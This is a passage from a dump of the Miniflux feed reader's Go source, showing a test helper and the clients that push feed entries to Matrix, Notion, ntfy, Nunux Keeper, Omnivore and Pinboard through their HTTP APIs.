{\n\t\t\t\tif client.collectionID != nil {\n\t\t\t\t\tt.Errorf(\"Expected collectionId to be nil, got %v\", *client.collectionID)\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif client.collectionID == nil {\n\t\t\t\t\tt.Error(\"Expected collectionId to be set, got nil\")\n\t\t\t\t} else if *client.collectionID != *tt.collectionID {\n\t\t\t\t\tt.Errorf(\"Expected collectionId %d, got %d\", *tt.collectionID, *client.collectionID)\n\t\t\t\t}\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc configureIntegrationAllowPrivateNetworksOption(t *testing.T) {\n\tt.Helper()\n\n\tt.Setenv(\"INTEGRATION_ALLOW_PRIVATE_NETWORKS\", \"1\")\n\n\tconfigParser := config.NewConfigParser()\n\tparsedOptions, err := configParser.ParseEnvironmentVariables()\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to configure test options: %v\", err)\n\t}\n\n\tpreviousOptions := config.Opts\n\tconfig.Opts = parsedOptions\n\tt.Cleanup(func() {\n\t\tconfig.Opts = previousOptions\n\t})\n}\n"
  },
  {
    "path": "internal/integration/matrixbot/client.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage matrixbot // import \"miniflux.app/v2/internal/integration/matrixbot\"\n\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/crypto\"\n\t\"miniflux.app/v2/internal/http/client\"\n\t\"miniflux.app/v2/internal/version\"\n)\n\nconst defaultClientTimeout = 10 * time.Second\n\ntype Client struct {\n\tmatrixBaseURL string\n}\n\nfunc NewClient(matrixBaseURL string) *Client {\n\treturn &Client{matrixBaseURL: matrixBaseURL}\n}\n\n// Specs: https://spec.matrix.org/v1.8/client-server-api/#getwell-knownmatrixclient\nfunc (c *Client) DiscoverEndpoints() (*DiscoveryEndpointResponse, error) {\n\tendpointURL, err := url.JoinPath(c.matrixBaseURL, \"/.well-known/matrix/client\")\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"matrix: unable to join base URL and path: %w\", err)\n\t}\n\n\trequest, err := http.NewRequest(http.MethodGet, endpointURL, nil)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"matrix: unable to create request: %v\", err)\n\t}\n\n\trequest.Header.Set(\"Accept\", \"application/json\")\n\trequest.Header.Set(\"User-Agent\", \"Miniflux/\"+version.Version)\n\n\thttpClient := client.NewClientWithOptions(client.Options{Timeout: defaultClientTimeout, BlockPrivateNetworks: !config.Opts.IntegrationAllowPrivateNetworks()})\n\tresponse, err := httpClient.Do(request)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"matrix: unable to send request: %v\", err)\n\t}\n\tdefer response.Body.Close()\n\n\tif response.StatusCode >= 400 {\n\t\treturn nil, fmt.Errorf(\"matrix: unexpected response from %s status code is %d\", endpointURL, response.StatusCode)\n\t}\n\n\tvar discoveryEndpointResponse DiscoveryEndpointResponse\n\tif err := json.NewDecoder(response.Body).Decode(&discoveryEndpointResponse); err != nil {\n\t\treturn nil, fmt.Errorf(\"matrix: unable to decode discovery response: %w\", err)\n\t}\n\n\treturn &discoveryEndpointResponse, nil\n}\n\n// Specs https://spec.matrix.org/v1.8/client-server-api/#post_matrixclientv3login\nfunc (c *Client) Login(homeServerURL, matrixUsername, matrixPassword string) (*LoginResponse, error) {\n\tendpointURL, err := url.JoinPath(homeServerURL, \"/_matrix/client/v3/login\")\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"matrix: unable to join base URL and path: %w\", err)\n\t}\n\n\tloginRequest := LoginRequest{\n\t\tType: \"m.login.password\",\n\t\tIdentifier: UserIdentifier{\n\t\t\tType: \"m.id.user\",\n\t\t\tUser: matrixUsername,\n\t\t},\n\t\tPassword: matrixPassword,\n\t}\n\n\trequestBody, err := json.Marshal(loginRequest)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"matrix: unable to encode request body: %v\", err)\n\t}\n\n\trequest, err := http.NewRequest(http.MethodPost, endpointURL, bytes.NewReader(requestBody))\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"matrix: unable to create request: %v\", err)\n\t}\n\n\trequest.Header.Set(\"Content-Type\", \"application/json\")\n\trequest.Header.Set(\"Accept\", \"application/json\")\n\trequest.Header.Set(\"User-Agent\", \"Miniflux/\"+version.Version)\n\n\thttpClient := client.NewClientWithOptions(client.Options{Timeout: defaultClientTimeout, BlockPrivateNetworks: !config.Opts.IntegrationAllowPrivateNetworks()})\n\tresponse, err := httpClient.Do(request)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"matrix: unable to send request: %v\", err)\n\t}\n\tdefer response.Body.Close()\n\n\tif response.StatusCode >= 400 {\n\t\treturn nil, fmt.Errorf(\"matrix: unexpected response from %s status code is %d\", endpointURL, response.StatusCode)\n\t}\n\n\tvar loginResponse LoginResponse\n\tif err := json.NewDecoder(response.Body).Decode(&loginResponse); err != nil {\n\t\treturn nil, fmt.Errorf(\"matrix: unable to decode login response: %w\", err)\n\t}\n\n\treturn &loginResponse, nil\n}\n\n// Specs https://spec.matrix.org/v1.8/client-server-api/#put_matrixclientv3roomsroomidsendeventtypetxnid\nfunc (c *Client) SendFormattedTextMessage(homeServerURL, accessToken, roomID, textMessage, formattedMessage string) (*RoomEventResponse, error) {\n\ttxnID := crypto.GenerateRandomStringHex(10)\n\tendpointURL, err := url.JoinPath(homeServerURL, \"/_matrix/client/v3/rooms/\", roomID, \"/send/m.room.message/\", txnID)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"matrix: unable to join base URL and path: %w\", err)\n\t}\n\n\tmessageEvent := TextMessageEventRequest{\n\t\tMsgType:       \"m.text\",\n\t\tBody:          textMessage,\n\t\tFormat:        \"org.matrix.custom.html\",\n\t\tFormattedBody: formattedMessage,\n\t}\n\n\trequestBody, err := json.Marshal(messageEvent)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"matrix: unable to encode request body: %v\", err)\n\t}\n\n\trequest, err := http.NewRequest(http.MethodPut, endpointURL, bytes.NewReader(requestBody))\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"matrix: unable to create request: %v\", err)\n\t}\n\n\trequest.Header.Set(\"Content-Type\", \"application/json\")\n\trequest.Header.Set(\"Accept\", \"application/json\")\n\trequest.Header.Set(\"User-Agent\", \"Miniflux/\"+version.Version)\n\trequest.Header.Set(\"Authorization\", \"Bearer \"+accessToken)\n\n\thttpClient := client.NewClientWithOptions(client.Options{Timeout: defaultClientTimeout, BlockPrivateNetworks: !config.Opts.IntegrationAllowPrivateNetworks()})\n\tresponse, err := httpClient.Do(request)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"matrix: unable to send request: %v\", err)\n\t}\n\tdefer response.Body.Close()\n\n\tif response.StatusCode >= 400 {\n\t\treturn nil, fmt.Errorf(\"matrix: unexpected response from %s status code is %d\", endpointURL, response.StatusCode)\n\t}\n\n\tvar eventResponse RoomEventResponse\n\tif err := json.NewDecoder(response.Body).Decode(&eventResponse); err != nil {\n\t\treturn nil, fmt.Errorf(\"matrix: unable to decode event response: %w\", err)\n\t}\n\n\treturn &eventResponse, nil\n}\n\ntype HomeServerInformation struct {\n\tBaseURL string `json:\"base_url\"`\n}\n\ntype IdentityServerInformation struct {\n\tBaseURL string `json:\"base_url\"`\n}\n\ntype DiscoveryEndpointResponse struct {\n\tHomeServerInformation     HomeServerInformation     `json:\"m.homeserver\"`\n\tIdentityServerInformation IdentityServerInformation `json:\"m.identity_server\"`\n}\n\ntype UserIdentifier struct {\n\tType string `json:\"type\"`\n\tUser string `json:\"user\"`\n}\n\ntype LoginRequest struct {\n\tType       string         `json:\"type\"`\n\tIdentifier UserIdentifier `json:\"identifier\"`\n\tPassword   string         `json:\"password\"`\n}\n\ntype LoginResponse struct {\n\tUserID      string `json:\"user_id\"`\n\tAccessToken string `json:\"access_token\"`\n\tDeviceID    string `json:\"device_id\"`\n\tHomeServer  string `json:\"home_server\"`\n}\n\ntype TextMessageEventRequest struct {\n\tMsgType       string `json:\"msgtype\"`\n\tBody          string `json:\"body\"`\n\tFormat        string `json:\"format\"`\n\tFormattedBody string `json:\"formatted_body\"`\n}\n\ntype RoomEventResponse struct {\n\tEventID string `json:\"event_id\"`\n}\n"
  },
  {
    "path": "internal/integration/matrixbot/matrixbot.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage matrixbot // import \"miniflux.app/v2/internal/integration/matrixbot\"\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n\n\t\"miniflux.app/v2/internal/model\"\n)\n\n// PushEntries pushes entries to matrix chat using integration settings provided\nfunc PushEntries(feed *model.Feed, entries model.Entries, matrixBaseURL, matrixUsername, matrixPassword, matrixRoomID string) error {\n\tclient := NewClient(matrixBaseURL)\n\tdiscovery, err := client.DiscoverEndpoints()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tloginResponse, err := client.Login(discovery.HomeServerInformation.BaseURL, matrixUsername, matrixPassword)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\ttextMessages := make([]string, 0, len(entries))\n\tformattedTextMessages := make([]string, 0, len(entries))\n\n\tfor _, entry := range entries {\n\t\ttextMessages = append(textMessages, fmt.Sprintf(`[%s] %s - %s`, feed.Title, entry.Title, entry.URL))\n\t\tformattedTextMessages = append(formattedTextMessages, fmt.Sprintf(`<li><strong>%s</strong>: <a href=%q>%s</a></li>`, feed.Title, entry.URL, entry.Title))\n\t}\n\n\t_, err = client.SendFormattedTextMessage(\n\t\tdiscovery.HomeServerInformation.BaseURL,\n\t\tloginResponse.AccessToken,\n\t\tmatrixRoomID,\n\t\tstrings.Join(textMessages, \"\\n\"),\n\t\t\"<ul>\"+strings.Join(formattedTextMessages, \"\\n\")+\"</ul>\",\n\t)\n\n\treturn err\n}\n"
  },
  {
    "path": "internal/integration/notion/notion.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage notion\n\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/http/client\"\n\t\"miniflux.app/v2/internal/version\"\n)\n\nconst defaultClientTimeout = 10 * time.Second\n\ntype Client struct {\n\tapiToken string\n\tpageID   string\n}\n\nfunc NewClient(apiToken, pageID string) *Client {\n\treturn &Client{apiToken, pageID}\n}\n\nfunc (c *Client) UpdateDocument(entryURL string, entryTitle string) error {\n\tif c.apiToken == \"\" || c.pageID == \"\" {\n\t\treturn errors.New(\"notion: missing API token or page ID\")\n\t}\n\n\tapiEndpoint := \"https://api.notion.com/v1/blocks/\" + c.pageID + \"/children\"\n\trequestBody, err := json.Marshal(&notionDocument{\n\t\tChildren: []block{\n\t\t\t{\n\t\t\t\tObject: \"block\",\n\t\t\t\tType:   \"bookmark\",\n\t\t\t\tBookmark: bookmarkObject{\n\t\t\t\t\tCaption: []any{},\n\t\t\t\t\tURL:     entryURL,\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t})\n\tif err != nil {\n\t\treturn fmt.Errorf(\"notion: unable to encode request body: %v\", err)\n\t}\n\n\trequest, err := http.NewRequest(http.MethodPatch, apiEndpoint, bytes.NewReader(requestBody))\n\tif err != nil {\n\t\treturn fmt.Errorf(\"notion: unable to create request: %v\", err)\n\t}\n\n\trequest.Header.Set(\"Content-Type\", \"application/json\")\n\trequest.Header.Set(\"User-Agent\", \"Miniflux/\"+version.Version)\n\trequest.Header.Set(\"Notion-Version\", \"2022-06-28\")\n\trequest.Header.Set(\"Authorization\", \"Bearer \"+c.apiToken)\n\n\thttpClient := client.NewClientWithOptions(client.Options{Timeout: defaultClientTimeout})\n\tresponse, err := httpClient.Do(request)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"notion: unable to send request: %v\", err)\n\t}\n\tdefer response.Body.Close()\n\n\tif response.StatusCode != http.StatusOK {\n\t\treturn fmt.Errorf(\"notion: unable to update document: url=%s status=%d\", apiEndpoint, response.StatusCode)\n\t}\n\n\treturn nil\n}\n\ntype notionDocument struct {\n\tChildren []block `json:\"children\"`\n}\n\ntype block struct {\n\tObject   string         `json:\"object\"`\n\tType     string         `json:\"type\"`\n\tBookmark bookmarkObject `json:\"bookmark\"`\n}\n\ntype bookmarkObject struct {\n\tCaption []any  `json:\"caption\"`\n\tURL     string `json:\"url\"`\n}\n"
  },
  {
    "path": "internal/integration/ntfy/ntfy.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ntfy // import \"miniflux.app/v2/internal/integration/ntfy\"\n\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"log/slog\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/http/client\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/version\"\n)\n\nconst (\n\tdefaultClientTimeout = 10 * time.Second\n\tdefaultNtfyURL       = \"https://ntfy.sh\"\n)\n\ntype Client struct {\n\tntfyURL, ntfyTopic, ntfyApiToken, ntfyUsername, ntfyPassword, ntfyIconURL string\n\tntfyInternalLinks                                                         bool\n\tntfyPriority                                                              int\n}\n\nfunc NewClient(ntfyURL, ntfyTopic, ntfyApiToken, ntfyUsername, ntfyPassword, ntfyIconURL string, ntfyInternalLinks bool, ntfyPriority int) *Client {\n\tif ntfyURL == \"\" {\n\t\tntfyURL = defaultNtfyURL\n\t}\n\treturn &Client{\n\t\tntfyURL:           ntfyURL,\n\t\tntfyTopic:         ntfyTopic,\n\t\tntfyApiToken:      ntfyApiToken,\n\t\tntfyUsername:      ntfyUsername,\n\t\tntfyPassword:      ntfyPassword,\n\t\tntfyIconURL:       ntfyIconURL,\n\t\tntfyInternalLinks: ntfyInternalLinks,\n\t\tntfyPriority:      ntfyPriority,\n\t}\n}\n\nfunc (c *Client) SendMessages(feed *model.Feed, entries model.Entries) error {\n\tfor _, entry := range entries {\n\t\tntfyMessage := &ntfyMessage{\n\t\t\tTopic:    c.ntfyTopic,\n\t\t\tMessage:  entry.Title,\n\t\t\tTitle:    feed.Title,\n\t\t\tPriority: c.ntfyPriority,\n\t\t\tClick:    entry.URL,\n\t\t}\n\n\t\tif c.ntfyIconURL != \"\" {\n\t\t\tntfyMessage.Icon = c.ntfyIconURL\n\t\t}\n\n\t\tif c.ntfyInternalLinks {\n\t\t\turl, err := url.Parse(config.Opts.BaseURL())\n\t\t\tif err != nil {\n\t\t\t\tslog.Error(\"Unable to parse base URL\", slog.Any(\"error\", err))\n\t\t\t} else {\n\t\t\t\tntfyMessage.Click = fmt.Sprintf(\"%s%s%d\", url, \"/unread/entry/\", entry.ID)\n\t\t\t}\n\t\t}\n\n\t\tslog.Debug(\"Sending Ntfy message\",\n\t\t\tslog.String(\"url\", c.ntfyURL),\n\t\t\tslog.String(\"topic\", c.ntfyTopic),\n\t\t\tslog.Int(\"priority\", ntfyMessage.Priority),\n\t\t\tslog.String(\"message\", ntfyMessage.Message),\n\t\t\tslog.String(\"entry_url\", ntfyMessage.Click),\n\t\t)\n\n\t\tif err := c.makeRequest(ntfyMessage); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}\n\nfunc (c *Client) makeRequest(payload any) error {\n\trequestBody, err := json.Marshal(payload)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"ntfy: unable to encode request body: %v\", err)\n\t}\n\n\trequest, err := http.NewRequest(http.MethodPost, c.ntfyURL, bytes.NewReader(requestBody))\n\tif err != nil {\n\t\treturn fmt.Errorf(\"ntfy: unable to create request: %v\", err)\n\t}\n\n\trequest.Header.Set(\"Content-Type\", \"application/json\")\n\trequest.Header.Set(\"User-Agent\", \"Miniflux/\"+version.Version)\n\n\t// See https://docs.ntfy.sh/publish/#access-tokens\n\tif c.ntfyApiToken != \"\" {\n\t\trequest.Header.Set(\"Authorization\", \"Bearer \"+c.ntfyApiToken)\n\t}\n\n\t// See https://docs.ntfy.sh/publish/#username-password\n\tif c.ntfyUsername != \"\" && c.ntfyPassword != \"\" {\n\t\trequest.SetBasicAuth(c.ntfyUsername, c.ntfyPassword)\n\t}\n\n\thttpClient := client.NewClientWithOptions(client.Options{Timeout: defaultClientTimeout, BlockPrivateNetworks: !config.Opts.IntegrationAllowPrivateNetworks()})\n\tresponse, err := httpClient.Do(request)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"ntfy: unable to send request: %v\", err)\n\t}\n\tdefer response.Body.Close()\n\n\tif response.StatusCode >= 400 {\n\t\treturn fmt.Errorf(\"ntfy: incorrect response status code %d for url %s\", response.StatusCode, c.ntfyURL)\n\t}\n\n\treturn nil\n}\n\n// See https://docs.ntfy.sh/publish/#publish-as-json\ntype ntfyMessage struct {\n\tTopic    string       `json:\"topic\"`\n\tMessage  string       `json:\"message\"`\n\tTitle    string       `json:\"title\"`\n\tTags     []string     `json:\"tags,omitempty\"`\n\tPriority int          `json:\"priority,omitempty\"`\n\tIcon     string       `json:\"icon,omitempty\"` // https://docs.ntfy.sh/publish/#icons\n\tClick    string       `json:\"click,omitempty\"`\n\tActions  []ntfyAction `json:\"actions,omitempty\"`\n}\n\n// See https://docs.ntfy.sh/publish/#action-buttons\ntype ntfyAction struct {\n\tAction string `json:\"action\"`\n\tLabel  string `json:\"label\"`\n\tURL    string `json:\"url\"`\n}\n"
  },
  {
    "path": "internal/integration/nunuxkeeper/nunuxkeeper.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage nunuxkeeper // import \"miniflux.app/v2/internal/integration/nunuxkeeper\"\n\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/http/client\"\n\t\"miniflux.app/v2/internal/urllib\"\n\t\"miniflux.app/v2/internal/version\"\n)\n\nconst defaultClientTimeout = 10 * time.Second\n\ntype Client struct {\n\tbaseURL string\n\tapiKey  string\n}\n\nfunc NewClient(baseURL, apiKey string) *Client {\n\treturn &Client{baseURL: baseURL, apiKey: apiKey}\n}\n\nfunc (c *Client) AddEntry(entryURL, entryTitle, entryContent string) error {\n\tif c.baseURL == \"\" || c.apiKey == \"\" {\n\t\treturn errors.New(\"nunux-keeper: missing base URL or API key\")\n\t}\n\n\tapiEndpoint, err := urllib.JoinBaseURLAndPath(c.baseURL, \"/v2/documents\")\n\tif err != nil {\n\t\treturn fmt.Errorf(`nunux-keeper: invalid API endpoint: %v`, err)\n\t}\n\n\trequestBody, err := json.Marshal(&nunuxKeeperDocument{\n\t\tTitle:       entryTitle,\n\t\tOrigin:      entryURL,\n\t\tContent:     entryContent,\n\t\tContentType: \"text/html\",\n\t})\n\tif err != nil {\n\t\treturn fmt.Errorf(\"nunux-keeper: unable to encode request body: %v\", err)\n\t}\n\n\trequest, err := http.NewRequest(http.MethodPost, apiEndpoint, bytes.NewReader(requestBody))\n\tif err != nil {\n\t\treturn fmt.Errorf(\"nunux-keeper: unable to create request: %v\", err)\n\t}\n\n\trequest.SetBasicAuth(\"api\", c.apiKey)\n\trequest.Header.Set(\"Content-Type\", \"application/json\")\n\trequest.Header.Set(\"User-Agent\", \"Miniflux/\"+version.Version)\n\n\thttpClient := client.NewClientWithOptions(client.Options{Timeout: defaultClientTimeout, BlockPrivateNetworks: !config.Opts.IntegrationAllowPrivateNetworks()})\n\tresponse, err := httpClient.Do(request)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"nunux-keeper: unable to send request: %v\", err)\n\t}\n\tdefer response.Body.Close()\n\n\tif response.StatusCode != http.StatusOK {\n\t\treturn fmt.Errorf(\"nunux-keeper: unable to create document: url=%s status=%d\", apiEndpoint, response.StatusCode)\n\t}\n\n\treturn nil\n}\n\ntype nunuxKeeperDocument struct {\n\tTitle       string `json:\"title,omitempty\"`\n\tOrigin      string `json:\"origin,omitempty\"`\n\tContent     string `json:\"content,omitempty\"`\n\tContentType string `json:\"contentType,omitempty\"`\n}\n"
  },
  {
    "path": "internal/integration/omnivore/omnivore.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage omnivore // import \"miniflux.app/v2/internal/integration/omnivore\"\n\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io\"\n\t\"net/http\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/crypto\"\n\t\"miniflux.app/v2/internal/http/client\"\n\t\"miniflux.app/v2/internal/version\"\n)\n\nconst defaultClientTimeout = 10 * time.Second\n\nconst defaultApiEndpoint = \"https://api-prod.omnivore.app/api/graphql\"\n\nvar mutation = `\nmutation SaveUrl($input: SaveUrlInput!) {\n  saveUrl(input: $input) {\n    ... on SaveSuccess {\n      url\n      clientRequestId\n    }\n    ... on SaveError {\n      errorCodes\n      message\n    }\n  }\n}\n`\n\ntype errorResponse struct {\n\tErrors []struct {\n\t\tMessage string `json:\"message\"`\n\t} `json:\"errors\"`\n}\n\ntype successResponse struct {\n\tData struct {\n\t\tSaveUrl struct {\n\t\t\tURL             string `json:\"url\"`\n\t\t\tClientRequestID string `json:\"clientRequestId\"`\n\t\t} `json:\"saveUrl\"`\n\t} `json:\"data\"`\n}\n\ntype Client struct {\n\twrapped     *http.Client\n\tapiEndpoint string\n\tapiToken    string\n}\n\nfunc NewClient(apiToken string, apiEndpoint string) *Client {\n\tif apiEndpoint == \"\" {\n\t\tapiEndpoint = defaultApiEndpoint\n\t}\n\n\treturn &Client{wrapped: client.NewClientWithOptions(client.Options{Timeout: defaultClientTimeout, BlockPrivateNetworks: !config.Opts.IntegrationAllowPrivateNetworks()}), apiEndpoint: apiEndpoint, apiToken: apiToken}\n}\n\nfunc (c *Client) SaveURL(url string) error {\n\tvar payload = map[string]any{\n\t\t\"query\": mutation,\n\t\t\"variables\": map[string]any{\n\t\t\t\"input\": map[string]any{\n\t\t\t\t\"clientRequestId\": crypto.GenerateUUID(),\n\t\t\t\t\"source\":          \"api\",\n\t\t\t\t\"url\":             url,\n\t\t\t},\n\t\t},\n\t}\n\tb, err := json.Marshal(payload)\n\tif err != nil {\n\t\treturn err\n\t}\n\treq, err := http.NewRequest(http.MethodPost, c.apiEndpoint, bytes.NewReader(b))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treq.Header.Set(\"Authorization\", c.apiToken)\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\treq.Header.Set(\"User-Agent\", \"Miniflux/\"+version.Version)\n\n\tresp, err := c.wrapped.Do(req)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tdefer resp.Body.Close()\n\tb, err = io.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"omnivore: failed to parse response: %v\", err)\n\t}\n\n\tif resp.StatusCode >= 400 {\n\t\tvar errResponse errorResponse\n\t\tif err = json.Unmarshal(b, &errResponse); err != nil {\n\t\t\treturn fmt.Errorf(\"omnivore: failed to save URL: status=%d %s\", resp.StatusCode, string(b))\n\t\t}\n\t\tif len(errResponse.Errors) > 0 {\n\t\t\treturn fmt.Errorf(\"omnivore: failed to save URL: status=%d %s\", resp.StatusCode, errResponse.Errors[0].Message)\n\t\t}\n\t\treturn fmt.Errorf(\"omnivore: failed to save URL: status=%d %s\", resp.StatusCode, string(b))\n\t}\n\n\tvar successResp successResponse\n\tif err = json.Unmarshal(b, &successResp); err != nil {\n\t\treturn fmt.Errorf(\"omnivore: failed to parse response, however the request appears successful, is the url correct?: status=%d %s\", resp.StatusCode, string(b))\n\t}\n\n\treturn nil\n}\n"
  },
  {
    "path": "internal/integration/pinboard/pinboard.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage pinboard // import \"miniflux.app/v2/internal/integration/pinboard\"\n\nimport (\n\t\"encoding/xml\"\n\t\"errors\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/http/client\"\n\t\"miniflux.app/v2/internal/version\"\n)\n\nvar errPostNotFound = errors.New(\"pinboard: post not found\")\nvar errMissingCredentials = errors.New(\"pinboard: missing auth token\")\n\nconst defaultClientTimeout = 10 * time.Second\n\ntype Client struct {\n\tauthToken string\n}\n\nfunc NewClient(authToken string) *Client {\n\treturn &Client{authToken: authToken}\n}\n\nfunc (c *Client) CreateBookmark(entryURL, entryTitle, pinboardTags string, markAsUnread bool) error {\n\tif c.authToken == \"\" {\n\t\treturn errMissingCredentials\n\t}\n\n\t// We check if the url is already bookmarked to avoid overriding existing data.\n\tpost, err := c.getBookmark(entryURL)\n\n\tif err != nil && errors.Is(err, errPostNotFound) {\n\t\tpost = NewPost(entryURL, entryTitle)\n\t} else if err != nil {\n\t\t// In case of any other error, we return immediately to avoid overriding existing data.\n\t\treturn err\n\t}\n\n\tpost.addTag(pinboardTags)\n\tif markAsUnread {\n\t\tpost.SetToread()\n\t}\n\n\tvalues := url.Values{}\n\tvalues.Add(\"auth_token\", c.authToken)\n\tpost.AddValues(values)\n\n\tapiEndpoint := \"https://api.pinboard.in/v1/posts/add?\" + values.Encode()\n\trequest, err := http.NewRequest(http.MethodGet, apiEndpoint, nil)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"pinboard: unable to create request: %v\", err)\n\t}\n\n\trequest.Header.Set(\"User-Agent\", \"Miniflux/\"+version.Version)\n\n\thttpClient := client.NewClientWithOptions(client.Options{Timeout: defaultClientTimeout})\n\tresponse, err := httpClient.Do(request)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"pinboard: unable to send request: %v\", err)\n\t}\n\tdefer response.Body.Close()\n\n\tif response.StatusCode >= 400 {\n\t\treturn fmt.Errorf(\"pinboard: unable to create a bookmark: url=%s status=%d\", apiEndpoint, response.StatusCode)\n\t}\n\n\treturn nil\n}\n\n// getBookmark fetches a bookmark from Pinboard. https://www.pinboard.in/api/#posts_get\nfunc (c *Client) getBookmark(entryURL string) (*Post, error) {\n\tif c.authToken == \"\" {\n\t\treturn nil, errMissingCredentials\n\t}\n\n\tvalues := url.Values{}\n\tvalues.Add(\"auth_token\", c.authToken)\n\tvalues.Add(\"url\", entryURL)\n\n\tapiEndpoint := \"https://api.pinboard.in/v1/posts/get?\" + values.Encode()\n\trequest, err := http.NewRequest(http.MethodGet, apiEndpoint, nil)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"pinboard: unable to create request: %v\", err)\n\t}\n\n\trequest.Header.Set(\"User-Agent\", \"Miniflux/\"+version.Version)\n\n\thttpClient := client.NewClientWithOptions(client.Options{Timeout: defaultClientTimeout})\n\tresponse, err := httpClient.Do(request)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"pinboard: unable fetch bookmark: %v\", err)\n\t}\n\tdefer response.Body.Close()\n\n\tif response.StatusCode >= 400 {\n\t\treturn nil, fmt.Errorf(\"pinboard: unable to fetch bookmark, status=%d\", response.StatusCode)\n\t}\n\n\tvar results posts\n\terr = xml.NewDecoder(response.Body).Decode(&results)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"pinboard: unable to decode XML: %v\", err)\n\t}\n\n\tif len(results.Posts) == 0 {\n\t\treturn nil, errPostNotFound\n\t}\n\n\treturn &results.Posts[0], nil\n}\n"
  },
  {
    "path": "internal/integration/pinboard/post.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage pinboard // import \"miniflux.app/v2/internal/integration/pinboard\"\n\nimport (\n\t\"encoding/xml\"\n\t\"net/url\"\n\t\"strings\"\n\t\"time\"\n)\n\n// Post a Pinboard bookmark.  \"inspiration\" from https://github.com/drags/pinboard/blob/master/posts.go#L32-L42\ntype Post struct {\n\tXMLName     xml.Name  `xml:\"post\"`\n\tURL         string    `xml:\"href,attr\"`\n\tDescription string    `xml:\"description,attr\"`\n\tTags        string    `xml:\"tag,attr\"`\n\tExtended    string    `xml:\"extended,attr\"`\n\tDate        time.Time `xml:\"time,attr\"`\n\tShared      string    `xml:\"shared,attr\"`\n\tToread      string    `xml:\"toread,attr\"`\n}\n\n// Posts A result of a Pinboard API call\ntype posts struct {\n\tXMLName xml.Name `xml:\"posts\"`\n\tPosts   []Post   `xml:\"post\"`\n}\n\nfunc NewPost(url string, description string) *Post {\n\treturn &Post{\n\t\tURL:         url,\n\t\tDescription: description,\n\t\tDate:        time.Now(),\n\t\tToread:      \"no\",\n\t}\n}\n\nfunc (p *Post) addTag(tag string) {\n\tif !strings.Contains(p.Tags, tag) {\n\t\tp.Tags += \" \" + tag\n\t}\n}\n\nfunc (p *Post) SetToread() {\n\tp.Toread = \"yes\"\n}\n\nfunc (p *Post) AddValues(values url.Values) {\n\tvalues.Add(\"url\", p.URL)\n\tvalues.Add(\"description\", p.Description)\n\tvalues.Add(\"tags\", p.Tags)\n\tif p.Toread != \"\" {\n\t\tvalues.Add(\"toread\", p.Toread)\n\t}\n\tif p.Shared != \"\" 